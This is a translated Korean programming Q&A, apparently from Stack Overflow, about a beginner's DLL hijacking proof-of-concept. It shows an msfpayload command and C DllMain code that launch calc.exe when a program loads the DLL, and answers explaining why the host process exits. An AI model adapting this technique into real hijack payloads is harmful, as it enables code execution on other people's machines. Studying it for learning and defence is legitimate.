2013-08-11 4 views
1

안녕하세요, 저는 Dll Hijacking을 처음 사용합니다. 나는 거의 문제가 없으며 당신이 나의 의심을 분명히하도록 도와 주길 바랍니다.Dll 하이재킹 계산기 C 코드

은 가정하자 나는 CALC DLL을

msfpayload windows/exec CMD=calc.exe D > abc.dll 

msfpayload에 의해 생성 된 DLL 파일이 잘 작동하고, 계산기 소프트웨어와 함께 프롬프트를 생성하는 msfpayload을 사용했다. 나는이 컴파일 및 사용

#include <windows.h> 

int owned() 
{ 
    WinExec("calc", 0); 
    exit(0); 
    return 0; 
} 

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) 
{ 
    owned(); 
    return 0; 
} 

는 계산기가 메시지를 표시합니다 :

그래서 나는 다음과 같은 C 코드를 사용했다. 소프트웨어가 실행되지 않습니다. 그게 왜? 나는 MinGW GCC 컴파일러를 사용하여 컴파일했다.

답변

2

소프트웨어가 실행되지 않습니다. [W] 그거야?

거의 확실하게 owned()exit()입니다. 그러면 프로세스가 종료됩니다.

+0

안녕하세요. NPE 감사합니다. 소프트웨어는 멋지게 실행되었지만 계산기는 4 번 프롬프트되었습니다. 왜 그런가요? –

+1

@OsandaMalith :'DllMain'은 네 가지 이벤트에서 호출되기 때문에 : http://msdn.microsoft.com/en-us/library/windows/desktop/ms682583(v=vs.85).aspx의'fdwReason'을보십시오. – NPE

+0

그래, 어떻게 극복해야합니까? 나는 전에 DLL을 망쳤다. 감사 :) –